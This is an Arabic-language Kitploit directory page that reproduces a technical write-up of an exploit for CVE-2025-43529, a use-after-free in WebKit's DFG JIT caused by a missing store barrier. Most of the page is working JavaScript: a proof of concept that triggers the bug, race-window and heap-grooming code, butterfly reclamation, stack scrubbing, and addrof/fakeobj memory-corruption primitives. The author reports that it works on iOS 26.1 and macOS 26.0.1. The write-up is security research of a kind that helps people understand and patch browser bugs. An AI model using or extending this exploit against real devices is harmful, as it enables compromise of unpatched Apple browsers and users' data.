Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-43529 — استغلال تقني لـ CVE-2025-43529، وهي ثغرة أمنية في مترجم DFG JIT الخاص بـ WebKit تتيح استخدامًا بعد التحرير عبر حاجز تخزين مفقود في GC المتزامن، مع بدائيات استغلال كاملة لنظامي iOS و macOS. | Kitploit
أدوات/GitHubGitHub/jir4vv1t/cve-2025-43529
تحليل الذاكرة الجنائيتحليل الثغرات الأمنيةالاستغلالالهندسة العكسيةأمن الويباستغلال الملفات الثنائية
GitHubjir4vv1t/cve-2025-43529

CVE-2025-43529

استغلال تقني لـ CVE-2025-43529، وهي ثغرة أمنية في مترجم DFG JIT الخاص بـ WebKit تتيح استخدامًا بعد التحرير عبر حاجز تخزين مفقود في GC المتزامن، مع بدائيات استغلال كاملة لنظامي iOS و macOS.

عرض المستودع
85115منذ 8 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-43529

TL; DR

أطلقت Apple مؤخرًا iOS 26.2 و iPadOS 26.2، إلى جانب نشرة أمنية تتضمن إصلاحات لثغرات WebKit. برز أحد الأخطاء في مترجم DFG JIT (CVE-2025-43529)، لذا قررت التعمق فيه.

تعرف مترجم JIT بشكل صحيح على أن عقدة Phi (حيث تندمج مسارات تدفق التحكم المتعددة) قد هربت، لكنه فشل في ملاحظة أن عقد Upsilon الخاصة بـ Phi قد هربت أيضًا. ونتيجة لذلك، تخطى StoreBarrierInsertionPhase في تجميع DFG إدراج حاجز التخزين، وهو آلية أساسية لسلامة الذاكرة. وكنتيجة لذلك، يمكن لمجمّع القمامة المتزامن (GC) أن يفوت كائنات كان يجب فحصها، مما قد يؤدي إلى استخدام بعد التحرير.

يمكنك العثور على التزام التصحيح هنا.

لقد أكدت أن استغلالي يعمل على iOS 26.1 و iPadOS 26.1 و macOS Tahoe 26.0.1.

خلفية

GC الأجيال

يستخدم JSC نموذج GC للأجيال لإدارة الكومة بكفاءة. في هذا النموذج، يتم تقسيم الذاكرة إلى Eden (مساحة جديدة) ومساحة قديمة استنادًا إلى عمر الكائن. تبدأ جميع الكائنات المخصصة حديثًا في Eden. عندما تمتلئ Eden، يتم تشغيل GC لـ Eden ويتم ترقية أي كائنات باقية إلى المساحة القديمة. يتطلب تنظيف كائنات المساحة القديمة GC كامل.

لكي يعمل GC للأجيال، يحتاج GC إلى تصنيف الكائنات على أنها "تم فحصها بالفعل" أو "تحتاج إلى فحص" أو "تحتاج إلى إعادة فحص". في JSC، يتم تتبع ذلك باستخدام cellState للكائن. (جميع الكائنات المُدارة بواسطة GC ترث من JSCell.)

root@kitploit:~
StructureID m_structureID;
union {
    uint32_t m_blob;
    struct {
        IndexingType m_indexingTypeAndMisc; 
        JSType m_type;
        TypeInfo::InlineTypeFlags m_flags;
        CellState m_cellState;
    };
};

cellState هو 1 بايت ويمكن أن يكون واحدًا من ثلاثة ألوان: Black (0)، White (1)، وGrey (2).

الأبيض يعني كائنًا تم تخصيصه للتو في eden. في دورة GC الحالية، لم يتم وضع علامة عليه بعد. إذا بقي في هذه الحالة حتى نهاية دورة GC، فسيتم جمع الكائن.

الأسود يعني أن GC قد انتهى بالفعل من وضع علامة على الكائن أو هو في طور وضع العلامات عليه. يتم التعامل معه على أنه حي بشكل أساسي، على الرغم من أن بت isMarked قد لا يزال غير نشط.

الرمادي يعني كائنًا لا يزال بحاجة إلى الفحص. بشكل أكثر دقة، كان في الأصل أسود، لكنه تم اكتشافه بواسطة حاجز الكتابة وأضيف إلى المجموعة المتذكرة. بعبارة أخرى، تغيرت مراجعه، لذا يحتاج GC إلى فحصه مرة أخرى.

GC المتزامن

لدى JSC أيضًا GC متزامن، والذي يسمح للتطبيق بالعمل أثناء استعادة الذاكرة. إذا كان GC يضع علامة على كائن في الخلفية وقام التطبيق بتغيير حالة ذلك الكائن في نفس الوقت، فقد ينتهي بك الأمر بحالة سباق.

لمنع ذلك، تحتاج إلى ضمانات ترتيب. مثل "كتابة (تخزين) A، ثم قراءة (تحميل) B" تحدث بهذا الترتيب بالضبط. ولكن على ARM64، لأسباب تتعلق بالأداء، يمكن لوحدة المعالجة المركزية إعادة ترتيب عمليات الذاكرة. وهذا يعني أن GC قد يقرأ القيمة الخاطئة.

لذا يستخدم JSC فئة تبعية للاعتماد على تبعيات البيانات في وحدة المعالجة المركزية أو يستخدم تعليمات ARM64 خاصة مثل STLR و LDAR لفرض الترتيب. يضمن STLR أن القراءات/الكتابات السابقة تصبح مرئية قبل التخزين (تخزين إصدار). يضمن LDAR أن القراءات/الكتابات اللاحقة لا يمكنها التقدم قبل التحميل (تحميل اكتساب). عندما يقرأ مؤشر ترابط آخر كائنًا، يتم إقران LDAR مع STLR بحيث يمكنه ملاحظة أحدث البيانات بأمان.

DMB ليس تعليمة خاصة واحدة لوصول واحد. إنه حاجز يفرض الترتيب عبر جميع عمليات الوصول إلى الذاكرة حوله. يضمن أن عمليات الذاكرة قبل DMB تصبح مرئية قبل العمليات بعده.

JSC JIT

لدى JSC ثلاث طبقات JIT في المجموع. لموازنة سرعة التنفيذ مقابل تكلفة التجميع (الذاكرة/الوقت)، يطبق تحسينات وينقل الكود إلى الطبقة التالية بناءً على مدى تكرار تشغيله.

  • الطبقة 1: Baseline JIT
  • الطبقة 2: DFG JIT
  • الطبقة 3: FTL JIT

Baseline JIT هو أول مترجم JIT. يركز على الوصول إلى الكود الأصلي بسرعة مع تكلفة تجميع منخفضة. DFG JIT هو المرحلة التالية بعد Baseline JIT، حيث تبدأ التحسينات الجادة.

في طبقة DFG، يتم تحويل تعليمات JavaScript إلى رسم بياني مكون من عقد IR الخاصة بـ DFG. باستخدام معلومات النوع التي يجمعها، يقوم المترجم بالتكهن لإزالة العمليات غير الضرورية.

في خط أنابيب تحسين DFG الخاص بـ JSC، يقوم StoreBarrierInsertionPhase بإدراج StoreBarrier بعد العقد التي تكتب إلى الذاكرة، مثل PutByOffset. CVE-2025-43529 هي ثغرة ناتجة عن الفشل في إدراج StoreBarrier عندما كان يجب إدراجه أثناء StoreBarrierInsertionPhase.

StoreBarrier هي عقدة تعمل كحاجز كتابة. يتم استخدامها للحفاظ على الصحة في السباقات مع مؤشر ترابط وضع العلامات.

تشغيل الثغرة

سيناريو عقدة DFG الضعيفة الموصوف في التزام التصحيح يبدو كالتالي:

root@kitploit:~
BB#1
a: NewObject
b: NewObject
...
c: Upsilon(@b, ^f)
   Branch(BB#2, BB#3)

BB#2
...
d: Something
e: Upsilon(@d, ^f)
   Jump(BB#3)

BB#3
f: Phi(@c, @e)
...
g: PutByOffset(@a, @f)
...
h: PutByOffset(@b, ...)
...

في BB#1، يتم إنشاء كائنين جديدين، ويتفرع التنفيذ إما إلى BB#2 أو BB#3. ثم يمر BB#2 إلى BB#3. الجزء المثير للاهتمام في BB#3 هو عقدة Phi. هذا يعني أن f إما c أو e، ويتم تحديد هذا الاختيار بواسطة عقد Upsilon الأولية. في BB#3، يعني PutByOffset إضافة قيمة إلى خاصية كائن.

PoC مبسط

root@kitploit:~
let A = { p0: 0x41414141 };

function jitme(flag) {
    // BB#1
    let a = { p0: 13.37 };
    let b = { p0: 0x42424242 };

    let f;

    if (flag) {
        // BB#2
        f = b; 
    } else {
        // BB#3
        f = 1.1; // d
    }

    // BB#4
    A.p0 = f; 
    b.p0 = a;
}

إذا استخدمت الخيار --dumpFTLDisassembly=true، يمكنك فحص لغة التجميع بعد تجميع FTL.

root@kitploit:~
// Starting BB#3
  0  3 60:   D@46:< 1:->        Phi(JS|PureInt, Final|NonIntAsDouble, W:SideState, bc#50, ExitInvalid)
  1  3 60:   D@53:<!0:->        ZombieHint(Check:Untyped:D@79, MustGen, loc5, W:SideState, ClobbersExit, bc#50, ExitInvalid)
  2  3 60:   D@57:<!0:->        ExitOK(MustGen, W:SideState, bc#50, ExitValid)
  3  3 60:   D@63:<!0:->        KillStack(MustGen, loc8, W:Stack(loc8), ClobbersExit, bc#50, ExitValid)
  4  3 60:   D@60:<!0:->        ZombieHint(Check:Untyped:D@79, MustGen, loc8, W:SideState, ClobbersExit, bc#50, ExitInvalid)
  5  3 60:   D@67:<!0:->        KillStack(MustGen, loc9, W:Stack(loc9), ClobbersExit, bc#57, ExitValid)
  6  3 60:   D@66:<!0:->        ZombieHint(Check:Untyped:Kill:D@79, MustGen, loc9, W:SideState, ClobbersExit, bc#57, ExitInvalid)
  7  3 60:   D@69:<!0:->        FilterPutByStatus(Check:Untyped:D@65, MustGen, (Simple, <id='uid:(p0)'Replace: [0x301006550:[0x1006550/16803152, Object, (1/2, 0/0){p0:0}, NonArray, PropertyAddition, Proto:0x108008488, Leaf (Watched)]], offset = 0, viaGlobalProxy = false>), W:SideState, bc#66, ExitValid)
// D@65 : A
// D@46 : f
// A.p0 = f
  8  3 60:   D@70:<!0:->        PutByOffset(KnownCell:D@65, KnownCell:D@65, Check:Untyped:Kill:D@46, MustGen, id0{p0}, 0, W:NamedProperties(0), ClobbersExit, bc#66, ExitValid)

// StoreBarrier for D@65(A)
  9  3 60:   D@78:<!0:->        FencedStoreBarrier(Check:KnownCell:Kill:D@65, MustGen, R:Heap, W:JSCell_cellState, bc#66, ExitInvalid)
 10  3 60:   D@73:<!0:->        FilterPutByStatus(Check:Untyped:D@36, MustGen, (Simple, <id='uid:(p0)'Replace: [0x301006550:[0x1006550/16803152, Object, (1/2, 0/0){p0:0}, NonArray, PropertyAddition, Proto:0x108008488, Leaf (Watched)]], offset = 0, viaGlobalProxy = false>), W:SideState, bc#72, ExitValid)

// D@36 : b
// D@26 : a
// b.p0 = a
 11  3 60:   D@75:<!0:->        PutByOffset(KnownCell:Kill:D@36, KnownCell:D@36, Check:Untyped:Kill:D@26, MustGen, id0{p0}, 0, W:NamedProperties(0), ClobbersExit, bc#72, ExitValid)
// StoreBarrier for D@36(b) is supposed to be here
 12  3 60:   D@71:<!0:->        Return(Check:Untyped:Kill:D@2, MustGen, W:SideState, Exits, bc#78, ExitValid)

بسبب الثغرة، لم يتم إصدار StoreBarrier لـ ب.

الكائن A يعيش في المساحة القديمة. في أول PutByOffset (A.p0 = f)، يصبح الكائن القديم A يشير إلى الكائن الجديد f. هذا يعني أن مؤشر ترابط وضع العلامات يمكنه الوصول إلى f من خلال A في أي نقطة بعد ذلك التخزين. لذا إذا قمت لاحقًا بتغيير خصائص f، يجب إدراج StoreBarrier.

يتم التعامل مع f (عقدة Phi) على أنها هاربة، لكن المدخلات الفعلية التي يمكن أن تتدفق إلى f (عبر Upsilon: b وd) لم يتم وضع علامة عليها على أنها هاربة. منطقيًا، إذا تم تخزين f في A، فإن أي كائن يمكن أن يصبح f بما في ذلك b يتم تخزينه أيضًا في A بشكل فعال. ولكن بسبب الثغرة، لا يدرك المترجم ذلك، لذا فهو لا يزال يعتقد أن b هي قيمة "آمنة" غير هاربة لن يحتاج GC إلى فحصها، وينتهي به الأمر بتخطي StoreBarrier.

حالة السباق

لتشغيل استخدام بعد التحرير، يجب أن تنجح في سباق بين مؤشر الترابط الرئيسي ومؤشر ترابط وضع العلامات. السيناريو هو كالتالي:

  1. وضع العلامات المتزامن (مؤشر ترابط وضع العلامات): يصل مؤشر ترابط وضع العلامات إلى b عن طريق المشي من كائن المساحة القديمة A، ويضع علامة على كل من A وb على أنهما أسود.

  2. تحديث المرجع (مؤشر الترابط الرئيسي): ينفذ مؤشر الترابط الرئيسي b.p0 = a. في هذه المرحلة، a هو كائن Eden لم يتم وضع علامة عليه بعد، لذا فهو لا يزال أبيض. هذا ينشئ كائنًا أسود يشير إلى كائن أبيض.

  3. حاجز التخزين المفقود: عادةً، يجب إضافة b إلى المجموعة المتذكرة. ولكن نظرًا لأنه تم تخطي حاجز التخزين بسبب الثغرة، لا يعلم GC أبدًا أن b يشير الآن إلى a. تستمر دورة GC وإذا لم يشير أي شيء آخر إلى a، فإنه يظل أبيض طوال الوقت وينتهي به الأمر بالتحرير.

  4. نهاية دورة GC: بعد ذلك، يمكن أن تلمس قراءة b.p0 الذاكرة المحررة، مما قد يؤدي إلى استخدام بعد التحرير.

نافذة السباق

أصعب جزء في استغلال حالة سباق هو ضرب نافذة السباق. يجب وضع علامة على الكائنين A وb في نفس دورة GC. لمزامنة التوقيت بين مؤشر الترابط الرئيسي ومؤشر ترابط وضع العلامات، استخدمت ثلاث تقنيات.

root@kitploit:~
arr = new Array(0x40_0000).fill(1.1);
let arr_index = arr.length - 1;

let A = {
    p0: 0x41414141,
    p1: 1.1,
    p2: 2.2,
};
arr[arr_index] = A;

أولاً، لتأمين نافذة التوقيت حتى يبدأ الفحص لـ A، تحتاج إلى جعل GC يزور بعض العناصر الفرعية، لقد جعلت arr كبيرًا ووضعت A في الفهرس الأخير. شيء واحد يجب الانتباه إليه هنا هو أن A يحتاج إلى العيش في المساحة القديمة.

root@kitploit:~
let forGC = [];

let a = new Date(1);
a[0] = 1.1;

for (let j = 0; j < allocCount; ++j) {
    let arr = new ArrayBuffer(0x80_0000);
    forGC.push(arr);
}
A.p2 = forGC;

ثانيًا، فحص A في المساحة القديمة يتطلب تشغيل GC كامل. لذلك، تحتاج إلى تخصيص عدد كافٍ من الكائنات الكبيرة بكمية كافية. لجعل تشغيل GC متسقًا إلى حد ما، احتفظت بمرجع الكائنات المخصصة، حتى لا يتم تحسينها بعيدًا باعتبارها "غير مستخدمة"، لقد خزنتها في A.p2.

root@kitploit:~
A.p1 = f;

let v = 1.1;
for (let i = 0; i < 1e6; ++i) {
    for (let j = 0; j < k; ++j) {
        v = i;
        v = j;
    }
}

b.p0 = v;
b.p1 = a;

ثالثًا، بمجرد تشغيل GC كامل، إذا تمكنت من تأخير وضع العلامات على A باستخدام مصفوفة كبيرة بما يكفي، فلا يزال مؤشر الترابط الرئيسي بحاجة إلى اكتمال وضع العلامات على A قبل أن يضيف مرجعًا إلى a في b. لفرض هذا التوقيت، أضفت حلقة كبيرة. وللحفاظ على عدم تحسين الحلقة بعيدًا، قمت بتخزين القيمة النهائية في b.p0.

الاستغلال

استعادة الفراشة

بعد انتهاء دورة GC، يمكنك ملاحظة أنه عند استخدام MarkedBlock يحتوي على كائنات محررة مرة أخرى، يتم كنس الكائنات في تلك الكتلة التي لم يتم وضع علامة عليها. في JSC، تجعل آلية الكنس كل أو جزء من MarkedBlock متاحًا للتخصيص اللاحق. يصبح عنوان الكائن المحرر قابلاً لإعادة الاستخدام بواسطة المخصص فقط بعد حدوث ذلك.

root@kitploit:~
reclaimed = false;

for (let i = 0; i < 1e6; ++i) {
    let arr = [13.37, 2.2, 3.3, 4.4, noCow];
    ref.push(arr);
    if (freed_object[0] === 13.37) { 
        reclaimed = true;
        break;
    }
}

if (!reclaimed) {
    print('failed');
}

بعد السباق، تقوم الحلقة بتخصيص مصفوفات من الطول 5 بشكل متكرر لتشجيع استعادة الفراشة المكنوسة. إذا تم إعادة تخصيص الفراشة، يمكنك اكتشاف ذلك من خلال قراءة الخصائص المفهرسة لكائن يشارك نفس عنوان الفراشة.

داخليًا، إنشاء arr يستدعي JSC::constructArrayBuffer، مما يؤدي إلى تشغيل MarkedBlock::Handle::specializedSweep. هذا هو المكان الذي يتم فيه بناء FreeList للكتلة التي تحتوي على الفراشة في البداية.

root@kitploit:~
void MarkedBlock::Handle::specializedSweep(...)
{
    // ... 
    if (emptyMode == IsEmpty || (marksMode != MarksNotStale && newlyAllocatedMode != HasNewlyAllocated)) {
        // ...
        if (sweepMode == SweepToFreeList) {
            if (scribbleMode == Scribble) [[unlikely]]
                scribble(payloadBegin, payloadEnd - payloadBegin);
            FreeCell* interval = reinterpret_cast_ptr<FreeCell*>(payloadBegin);
            interval->makeLast(payloadEnd - payloadBegin, secret);
            freeList->initialize(interval, secret, payloadEnd - payloadBegin);
        }
        return;
    }
    // ...
}

مع PoC، إذا تم تشغيل الكنس على الكتلة التي تحتوي على الفراشة بعد السباق، فإن emptyMode وmarksMode وnewlyAllocatedMode تصبح IsEmpty وMarksStale وDoesNotHaveNewlyAllocated على التوالي، لذلك يدخل التنفيذ في جملة if أعلاه.

مع الكنس العادي، ستحتاج إلى بناء القائمة الحرة في أجزاء، ولكن هنا الكتلة بأكملها فارغة، لذا يتم تهيئة القائمة الحرة كفاصل زمني كبير واحد يغطي الكتلة بأكملها. بنية freeList بسيطة جدًا. إنها تتتبع بشكل أساسي بداية ونهاية القطعة وحجمها.

في هذه المرحلة، تحتوي freeList على كتلة كاملة تتضمن مؤشر الفراشة.

root@kitploit:~
template<typename Func>
ALWAYS_INLINE HeapCell* FreeList::allocateWithCellSize(const Func& slowPath, size_t cellSize)
{
    if (m_intervalStart < m_intervalEnd) [[likely]] {
        char* result = m_intervalStart;
        m_intervalStart += cellSize;
        return std::bit_cast<HeapCell*>(result);
    }
    // ...
}

يتم التعامل مع التخصيصات من freeList بواسطة FreeList::allocateWithCellSize. إذا لم يكن m_intervalStart وm_intervalEnd متساويين، يعامل المخصص الفاصل الزمني على أنه يحتوي على خلايا حرة متاحة، ويعيد مؤشر البداية الحالي كعنوان للكائن الجديد، ثم يقدم مؤشر البداية بمقدار cellSize.

يتم استدعاء هذه الوظيفة من JSC::constructArray، ويتم ضربها بشكل متكرر داخل الحلقة. في النهاية، ينتهي الأمر بمصفوفة مخصصة حديثًا باستخدام عنوان الفراشة المحرر لفراشتها.

كنس القمامة

هناك عدة أسباب قد تجعل الاستغلال يفشل، ولكن أحد التحسينات السهلة هو التخلص من مؤشر الفراشة المتبقي على المكدس.

أثناء تخصيص الفراشة، يتم كتابة المؤشر المخصص إلى المكدس بشكل متكرر. إذا بقي هذا المؤشر في الخلف حتى بعد استدعاء الوظيفة التي تشغل استخدام بعد التحرير، يمكن لفحص المكدس المحافظ بواسطة GC أن يلتقطه ويضع علامة عليه، مما يمنع تحريره وينتهي به الأمر بحمايته كالمعتاد.

في PoC، تم معالجة ذلك عن طريق استدعاء وظيفة تنشئ عددًا كبيرًا من إطارات المكدس.

root@kitploit:~
function recursive(n) {
    if (n === 0) 
        return;
    n = n | 0;
    recursive(n - 1);  
}

recursive(10000);

من خلال استدعاء الوظيفة التكرارية، يملأ مؤشر الترابط الرئيسي مساحة المكدس الخاصة به بإطارات الوظائف، مما يمحو جميع عناوين الفراشة المتبقية بقيم أخرى. بعد ذلك، يصبح من الأقل احتمالية العثور على مؤشر الفراشة أثناء فحص المكدس، مما يزيد من فرص عدم قيام GC بفحص تلك الفراشة.

بناء البدائيات

root@kitploit:~
let boxed_arr = reclaimed_object;
boxed_arr[0] = {}; // Double -> Contiguous
let unboxed_arr = freed_object;

function addrof(obj) {
    boxed_arr[0] = obj;
    return ftoi(unboxed_arr[0]);
}

function fakeobj(addr) {
    unboxed_arr[0] = itof(addr);
    return boxed_arr[0];
}

مع استخدام بعد التحرير، يمكنك الحصول على نفس الفراشة في الكائن المحرر a وكذلك في المصفوفة المخصصة حديثًا. ثم من خلال جعل الكائنين يستخدمان IndexingTypes مختلفة، يمكنك الوصول إلى القيم في هذه الفراشة الواحدة في كل من Double و Contiguous. وهذا يؤدي مباشرة إلى البدائيات الكلاسيكية addrof و fakeobj.

الخطوات التالية

إذا تمكنت من بناء البدائيات addrof/fakeobj، يمكنك بناء بدائيات القراءة/الكتابة بسهولة. ولكن من أجل الحصول على تنفيذ الكود، لا تزال بحاجة إلى تجاوز مصادقة المؤشر. هذا الجزء متروك كتحدي.

المراجع

  • فهم جمع القمامة في JavaScriptCore من الصفر
  • حول المحتوى الأمني لنظامي iOS 26.2 و iPadOS 26.2
تنزيل الأداة